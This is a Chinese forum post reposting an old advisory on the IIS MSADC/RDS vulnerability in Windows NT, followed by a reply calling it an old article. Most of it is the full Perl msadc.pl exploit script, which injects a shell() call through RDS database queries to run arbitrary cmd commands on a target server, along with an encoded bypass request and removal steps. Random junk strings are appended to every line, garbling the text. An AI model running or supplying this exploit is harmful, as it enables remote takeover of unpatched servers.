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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 2?5>o!C  
"#]$r  
涉及程序: ,'+kBZOv  
Microsoft NT server +H.`MZ=  
FtZ?C@1/  
描述: >bxS3FCX  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 YN,A )w:]  
M{\I8oOg  
详细: q@&6#B  
如果你没有时间读详细内容的话,就删除: R@0R`Zs  
c:\Program Files\Common Files\System\Msadc\msadcs.dll p[-O( 3Y  
有关的安全问题就没有了。 Jv i#)  
rZF*q2?  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 y^k$Us  
KP"+e:a%  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Rv=YFo[B  
关于利用ODBC远程漏洞的描述,请参看: S:Hl/:iV  
74u&%Rj  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm <[phnU^ 8  
yuVs YV@"  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 GmG 5[?)  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp AdmC&!nH  
:+Z%; Dc  
这里不再论述。 =I4lL]>  
>Q/Dk7#  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: VQs5"K"  
[e q&C_|D  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset :U\tv[  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ,bd_:  
5bIw?%dk(  
SKtrtm  
#将下面这段保存为txt文件,然后: "perl -x 文件名" -} +[  
~dSr5LUD  
#!perl Z G:{[sT  
# s.#`&Sd>  
# MSADC/RDS 'usage' (aka exploit) script z{6Z 11|  
# l.]xB,k  
# by rain.forest.puppy h 0|s  
# L-Lvp%%  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me >usL*b0%  
# beta test and find errors! =v\.h=~~  
':q p05t  
use Socket; use Getopt::Std; *R"/|Ka  
getopts("e:vd:h:XR", \%args); O< I-  
lFk R=!?=  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 0%B/,/PxD  
s*4dxnS_8  
if (!defined $args{h} && !defined $args{R}) { 3 {V>S,O3]  
print qq~ /efUjkP  
Usage: msadc.pl -h <host> { -d <delay> -X -v } vIvIfE  
-h <host> = host you want to scan (ip or domain) Y@v>FlqI{  
-d <seconds> = delay between calls, default 1 second =*Lfl'sr_  
-X = dump Index Server path table, if available *hrvYil2b  
-v = verbose teP<!RKNb  
-e = external dictionary file for step 5 t7pFW^&  
jo7\`#(Q  
Or a -R will resume a command session t:S+%u U  
hb-%_c"kq  
~; exit;} TzZq(? V  
b$7 +;I;  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; IgzQr >  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 3R/bz0 V>  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 7^285)UQA  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); NHt\ U9l'  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} rjP/l6 ~'  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 0_/[k*Re  
y} '@R$  
if (!defined $args{R}){ $ret = &has_msadc; `XKLU  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} iCoX& "lb  
"tZe>>I  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" K:M8h{Ua  
. "cmd /c "; =D(j)<9$A  
$in=<STDIN>; chomp $in; h( 4v8ae  
$command="cmd /c " . $in ; pYg/Zm Jd  
h1RSVp+?n  
if (defined $args{R}) {&load; exit;} "4Nt\WQ  
+_!QSU,@  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; \wZe] G%S  
&try_btcustmr; bD^owa  
("@!>|H  
print "\nStep 2: Trying to make our own DSN..."; *a)n62  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; mv><HqDL1  
TC('H[ ]  
print "\nStep 3: Trying known DSNs..."; #mT"gs  
&known_dsn; `^vE9nW 7  
sKWfX Cd  
print "\nStep 4: Trying known .mdbs...";  z} <^jgJ  
&known_mdb; _`V'r#Qn  
`L zPotz  
if (defined $args{e}){ wzA$'+Mb  
print "\nStep 5: Trying dictionary of DSN names..."; =|=(l)8  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } &m3lXl  
0Gk<l{o?^  
print "Sorry Charley...maybe next time?\n"; dr(*T  
exit; m 5.Zu.  
v19-./H^ j  
############################################################################## ]'cs.  
gR**@t=;j  
sub sendraw { # ripped and modded from whisker DXo|.!P=3  
sleep($delay); # it's a DoS on the server! At least on mine... #E?4E1bnB  
my ($pstr)=@_; J,hCvm  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || mw!F{pw  
die("Socket problems\n"); '91/md5  
if(connect(S,pack "SnA4x8",2,80,$target)){ 29rX%09T]  
select(S); $|=1; _$'ashF  
print $pstr; my @in=<S>; /z!%d%"  
select(STDOUT); close(S); SBpL6~NW  
return @in; \zY!qpX<  
} else { die("Can't connect...\n"); }} w xH7?tsf  
4 5e~6",  
############################################################################## 7v kL1IA  
s%S  
sub make_header { # make the HTTP request dG{A~Z z  
my $msadc=<<EOT  g-A-kqo9  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 r$1Qf}J3=  
User-Agent: ACTIVEDATA yevPHN"M  
Host: $ip *hx  
Content-Length: $clen vd ZW%-A&\  
Connection: Keep-Alive +z( Lr=G  
eDMO]5}Ht  
ADCClientVersion:01.06 ]lbuy7xj63  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 }6#  
. vV|hSc  
--!ADM!ROX!YOUR!WORLD! |=w@H]r  
Content-Type: application/x-varg y `UaB3q  
Content-Length: $reqlen F847pyOJnf  
^c<Ve'-  
EOT Wri<h:1  
; $msadc=~s/\n/\r\n/g; /(cPfZZ  
return $msadc;} !Ee:o"jG{  
A<{{iBEI`  
############################################################################## d~H`CrQE*  
:]KAkhFkbb  
sub make_req { # make the RDS request L#J1b!D&<6  
my ($switch, $p1, $p2)=@_; fl(wV.Je|  
my $req=""; my $t1, $t2, $query, $dsn; \Z/@C lCm  
uph(V  
if ($switch==1){ # this is the btcustmr.mdb query *T/']t  
$query="Select * from Customers where City=" . make_shell(); #4PN"o@  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . X, n:,'  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 6'/ #+,d'  
D^O@'zP=At  
elsif ($switch==2){ # this is general make table query y0#2m6u  
$query="create table AZZ (B int, C varchar(10))"; \85i+q:LuA  
$dsn="$p1";} gJXaPJA{  
N['  .BN  
elsif ($switch==3){ # this is general exploit table query tA;}h7/Lc~  
$query="select * from AZZ where C=" . make_shell(); 3n _htgcv  
$dsn="$p1";} siI;"?  
{.yB'.k?  
elsif ($switch==4){ # attempt to hork file info from index server WcAkCH!L  
$query="select path from scope()"; *pq\MiD/  
$dsn="Provider=MSIDXS;";} !a`&O-ye  
N)T}P\l  
elsif ($switch==5){ # bad query CrLrw T  
$query="select"; ^sw?gH*  
$dsn="$p1";} Ew N}l  
i@yC-))bY  
$t1= make_unicode($query); s_Sk0}e  
$t2= make_unicode($dsn); ;TYBx24vD'  
$req = "\x02\x00\x03\x00"; Dtk=[;"k2a  
$req.= "\x08\x00" . pack ("S1", length($t1)); Cy e.gsCT  
$req.= "\x00\x00" . $t1 ; z_HdISy0  
$req.= "\x08\x00" . pack ("S1", length($t2)); 3w=J'(RU  
$req.= "\x00\x00" . $t2 ; Vk suu@cch  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; Hka2  
return $req;} L,\Iasv  
\hXDO_U  
############################################################################## ^!d3=}:0  
@C$]//;  
sub make_shell { # this makes the shell() statement s<Ziegmw|g  
return "'|shell(\"$command\")|'";} d=(mw_-?  
LoV<:|GTI  
############################################################################## 3BI1fXT4=j  
s!J9|]o  
sub make_unicode { # quick little function to convert to unicode R_C)  
my ($in)=@_; my $out; _f83-':W6  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 4 KiY6)  
return $out;} (=0.inZ  
XSR 4iu  
############################################################################## ;l+Leex  
# d  
sub rdo_success { # checks for RDO return success (this is kludge) .Mbz3;i0  
my (@in) = @_; my $base=content_start(@in); l#o ~W`  
if($in[$base]=~/multipart\/mixed/){ @{Q4^'K"  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} S[gx{Bxiw  
return 0;} 7#XzrT]  
qGo.WZ$  
############################################################################## qX%_uOw:%  
1zv'.uu.,  
sub make_dsn { # this makes a DSN for us :;}P*T*PU  
my @drives=("c","d","e","f"); ?}oFg#m-<L  
print "\nMaking DSN: "; `?]k{ l1R  
foreach $drive (@drives) { la!~\wpa  
print "$drive: "; dPlV>IM$z  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . }vuO$j  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" CJY$G}rk  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); FrS]|=LJhX  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; Ui~>SN>s  
return 0 if $2 eq "404"; # not found/doesn't exist ?s01@f#  
if($2 eq "200") { [,Gg^*umS  
foreach $line (@results) { o!Zb0/AP)  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} K+eM   
} return 0;} js(pC@<q5  
.('SW\u-  
############################################################################## SUiOJ[5,  
ftb\0,-   
sub verify_exists { (`^1Y3&2  
my ($page)=@_; 04ui`-c(  
my @results=sendraw("GET $page HTTP/1.0\n\n"); X ?O[r3<  
return $results[0];} @d'j zs  
H_a[)DT  
############################################################################## VA%J\T|G2\  
I7onX,U+  
sub try_btcustmr { ="+#W6bZT  
my @drives=("c","d","e","f"); z/-=%g >HA  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ?,z}%p  
$Sq:q0  
foreach $dir (@dirs) { )lkjqFQ(  
print "$dir -> "; # fun status so you can see progress IGl9 g_18  
foreach $drive (@drives) { M`_0C38  
print "$drive: "; # ditto HMXE$d=[  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; BmT!aue  
$reqlenlen=length( "$reqlen" ); O.? JmE  
$clen= 206 + $reqlenlen + $reqlen; Gc?a+T  
t@(HF-4~=  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); rq{$,/6.  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} /ZX }Nc g  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 6ujW Nf  
I9^x,F"E]  
############################################################################## 10&8-p1/mc  
Rq-ZL{LR7  
sub odbc_error { -"x$ZnHU  
my (@in)=@_; my $base; ]Wup/o  
my $base = content_start(@in);  mh%VrA q  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this z{q`GwW  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; U{mYTN*:j$  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; $ nb[GV  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; *. t^MP  
return $in[$base+4].$in[$base+5].$in[$base+6];} W?& %x(6M  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; tQVVhXQ7  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . iZmcI;?u  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} =pNY eR_[  
UKGPtKE<  
############################################################################## *~`(RV  
q.vIc ?a  
sub verbose { CpN>p.kM  
my ($in)=@_; Wwo0%<2y  
return if !$verbose; e-;}366}  
print STDOUT "\n$in\n";} R2NZ{"h  
6Wn1{v0  
############################################################################## 4+n\k  
)X7A  
sub save { 9r9NxKuAO  
my ($p1, $p2, $p3, $p4)=@_; Z+SRXKQ  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; P?<y%c<  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; _1^'(5f$  
close OUT;} y_,bu^+*  
YSMAd-Ef-  
############################################################################## z:O8Ls^\T  
)7@0[>  
sub load { )oZ dj`  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; DG/Pb)%Y  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); okXl8&mi  
@p=<IN>; close(IN); 9WHddDA  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); HW|IILFB  
$target= inet_aton($ip) || die("inet_aton problems"); [ ~,AfY  
print "Resuming to $ip ..."; 7)m9"InDI  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; b>k y  
if($p[1]==1) { :UdF  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; }Z>)DN=+  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Bvj0^fSm  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 2%1hdA<  
if (rdo_success(@results)){print "Success!\n";} rqq1TRg  
else { print "failed\n"; verbose(odbc_error(@results));}} )u">it+  
elsif ($p[1]==3){ *hrd5na  
if(run_query("$p[3]")){ +\'t E~V  
print "Success!\n";} else { print "failed\n"; }} sLFl!jX  
elsif ($p[1]==4){ [aS*%Heu  
if(run_query($drvst . "$p[3]")){ hZ3bVi)L\  
print "Success!\n"; } else { print "failed\n"; }} E`q_bn  
exit;} #$vEGY}1  
,Q B<7a+I  
############################################################################## G3]4A&h9v~  
E7hhew  
sub create_table { rNM;ZPF#  
my ($in)=@_; i4Jc.8^9$  
$reqlen=length( make_req(2,$in,"") ) - 28; oU|c.mYe  
$reqlenlen=length( "$reqlen" ); 6zkaOA46V  
$clen= 206 + $reqlenlen + $reqlen; =41xkAMnk  
my @results=sendraw(make_header() . make_req(2,$in,"")); 8MBAtVmy  
return 1 if rdo_success(@results); e!`i3KYn"  
my $temp= odbc_error(@results); verbose($temp); !k%#R4*>  
return 1 if $temp=~/Table 'AZZ' already exists/; 3 $w65=  
return 0;} ^aQ"E9  
g}i61(  
############################################################################## ]_Xlq_[/r  
V)^+?B)T  
sub known_dsn { +p^u^a  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go v=k$A  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", $M#>9QHhc  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", tkhCw/  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); )Z$!PqRw@u  
67TwPvh  
foreach $dSn (@dsns) { +(*DT9s+  
print "."; iE{&*.q_}>  
next if (!is_access("DSN=$dSn")); B *vM0  
if(create_table("DSN=$dSn")){ H]!"Zq k  
print "$dSn successful\n"; !W0v >p  
if(run_query("DSN=$dSn")){ A >$I -T+  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { +"(jjxJm  
print "Something's borked. Use verbose next time\n";}}} print "\n";} !BI;C(,RL  
#g=XUZ/"  
############################################################################## S'14hk<  
Qd6FH2Pl  
sub is_access { *VeRVaBl  
my ($in)=@_; /=h` L ,  
$reqlen=length( make_req(5,$in,"") ) - 28; zQA`/&=Y  
$reqlenlen=length( "$reqlen" ); {$r[5%L\H  
$clen= 206 + $reqlenlen + $reqlen; 5IN(|B0  
my @results=sendraw(make_header() . make_req(5,$in,"")); 5uf a  
my $temp= odbc_error(@results); . .-hAH  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 5r_|yu  
return 0;} D0C y^_  
 IB<d  
############################################################################## t Pf40`@  
fh{`Mz,o  
sub run_query { i!cCMh8  
my ($in)=@_; p7Cs.2>M>S  
$reqlen=length( make_req(3,$in,"") ) - 28; yN c2@  
$reqlenlen=length( "$reqlen" ); KG@8RtHsQ  
$clen= 206 + $reqlenlen + $reqlen; &{RDM~  
my @results=sendraw(make_header() . make_req(3,$in,"")); G j1_!.T  
return 1 if rdo_success(@results); ;]fs'LH  
my $temp= odbc_error(@results); verbose($temp); C7vxw-o|&p  
return 0;} OTp]Xe/  
fV:83|eQ  
############################################################################## .o8t+X'G  
@6d[=!9  
sub known_mdb { iUwzs&frd  
my @drives=("c","d","e","f","g"); IAEAhqp  
my @dirs=("winnt","winnt35","winnt351","win","windows"); nie%eC&U  
my $dir, $drive, $mdb; Wf<LR3  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; bfO=;S]b!  
mt`.6Xz~  
# this is sparse, because I don't know of many h$=2p5'-  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 8[>zG2  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", W`&hp6Jq  
"\\system32\\certmdb.mdb", \f)#>+X-  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 6,uX,X5  
?8 {"x8W;  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", <X5 fUU"+U  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 4sM.C9W  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", h1{3njdr  
"\\cfusion\\cfapps\\security\\realm_.mdb", ~v83pu1!2s  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", kR9-8I{J  
"\\cfusion\\database\\cfexamples.mdb", 0Qd:`HF[  
"\\cfusion\\database\\cfsnippets.mdb", >{Tm##@,k  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", lLD12d  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", Z= !*e~j@  
"\\cfusion\\brighttiger\\database\\cleam.mdb", a: S -  
"\\cfusion\\database\\smpolicy.mdb", X(C$@N  
"\\cfusion\\database\cypress.mdb", PzGWff!*n  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", [:V$y1  
"\\website\\cgi-win\\dbsample.mdb", %UM *79  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 8X0z~ &  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" (ik\|y% A  
); #these are just >j`qh:^  
foreach $drive (@drives) { s <Fl p  
foreach $dir (@dirs){ `"~%bS  
foreach $mdb (@sysmdbs) { - YV>j  
print "."; .m AjfP*  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ }&e5$lB  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; y==CT Y@  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ $SE^S   
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 1 .X@;  
} else { print "Something's borked. Use verbose next time\n"; }}}}} pNIf=lA  
y?:.;%!E  
foreach $drive (@drives) { x m@_IL&P  
foreach $mdb (@mdbs) { qFNes)_r  
print "."; `XB 9Mi=  
if(create_table($drv . $drive . $dir . $mdb)){ g1o8._f.  
print "\n" . $drive . $dir . $mdb . " successful\n"; 3,=6@U  
if(run_query($drv . $drive . $dir . $mdb)){ $g7<Y*t[  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; !a<ng&H^U  
} else { print "Something's borked. Use verbose next time\n"; }}}} +MLVbK  
} gNhQD*+>{  
*#Wdc O `-  
############################################################################## @A 5?3(e  
T^v}mWCZ  
sub hork_idx { >*n0n!vF  
print "\nAttempting to dump Index Server tables...\n"; 1QJL .  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; BUR*n;V`  
$reqlen=length( make_req(4,"","") ) - 28; QIgNsz  
$reqlenlen=length( "$reqlen" ); ]fD} ^s3G  
$clen= 206 + $reqlenlen + $reqlen; 8*fv'  
my @results=sendraw2(make_header() . make_req(4,"","")); HKr Mim-  
if (rdo_success(@results)){ : c[L3rJl  
my $max=@results; my $c; my %d; %[yJ4WL  
for($c=19; $c<$max; $c++){ 9S-9.mvop  
$results[$c]=~s/\x00//g; Q^ (b)>?r;  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; Yrn)VV[)h  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; \15nS B  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; {V-v-f  
$d{"$1$2"}="";} RGU\h[  
foreach $c (keys %d){ print "$c\n"; } r4f~z$QK  
} else {print "Index server doesn't seem to be installed.\n"; }} TU7' J  
rt| 7h>RQ  
############################################################################## ^KELKv,_  
&w~d_</  
sub dsn_dict { FE{FGM q  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); LD g?'y;2  
while(<IN>){ LrK,_)r:~  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; T5:G$-qL(  
next if (!is_access("DSN=$dSn")); l\?c}7k  
if(create_table("DSN=$dSn")){ B+0hzkPY  
print "$dSn successful\n"; hG:|9Sol,  
if(run_query("DSN=$dSn")){ yOg+iFTr  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { O#u=c1 ?:  
print "Something's borked. Use verbose next time\n";}}} ,u g@f-T  
print "\n"; close(IN);} AFfAtu  
0AV c  
############################################################################## \_U$"/$4VH  
Z: 7fV5b(  
sub sendraw2 { # ripped and modded from whisker TuYCR>P[  
sleep($delay); # it's a DoS on the server! At least on mine... #!m.!? O  
my ($pstr)=@_; (3&?wy_l  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || -)/$M(Pu"  
die("Socket problems\n"); M|[oaanY'  
if(connect(S,pack "SnA4x8",2,80,$target)){ t.'!`5G  
print "Connected. Getting data"; ))i}7 chc  
open(OUT,">raw.out"); my @in; G/mXq-  
select(S); $|=1; print $pstr; +t:0SRSt  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 2wgg7[tGi  
close(OUT); select(STDOUT); close(S); return @in; pXK^Y'2C!  
} else { die("Can't connect...\n"); }} &yol_%C  
vI)LB)Q  
############################################################################## }-3mPy(*%  
Uv~QUL3>  
sub content_start { # this will take in the server headers T"}vAG( .O  
my (@in)=@_; my $c; ^<-+@v*  
for ($c=1;$c<500;$c++) { zNuJjL  
if($in[$c] =~/^\x0d\x0a/){ t!\tF[9e  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } XF_pN[}  
else { return $c+1; }}} !&Pui{F  
return -1;} # it should never get here actually D #/Bx[  
[ps*uva  
############################################################################## zZC9\V}R  
tlt*fH$ .  
sub funky { "2T#MO/  
my (@in)=@_; my $error=odbc_error(@in);  bnLPlf  
if($error=~/ADO could not find the specified provider/){ 7( 2{'r  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; Y7[jqb1D  
exit;} -\n@%$M]G  
if($error=~/A Handler is required/){ 'oC) NpnH  
print "\nServer has custom handler filters (they most likely are patched)\n"; 4X(H ;  
exit;} C C^'@~)?  
if($error=~/specified Handler has denied Access/){ |qZ1|  
print "\nServer has custom handler filters (they most likely are patched)\n"; [=]4-q6UN  
exit;}} M[112%[+4  
ohGfp9H  
############################################################################## ?8Cq{  
k,F6Tx  
sub has_msadc { aCLqk'  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); mju>>\9  
my $base=content_start(@results); LRMx<X8  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); :TC@tM~Oy  
return 0;} NL0n009"c$  
QS]1daMIK<  
######################## }<y7bqA  
@[i4^  
om-omo&,X=  
解决方案: 3gj+%%!G\  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ;?g6QIN9  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 nSAdCJ;4  
W#C*5@8  
拿出来充数 哈哈
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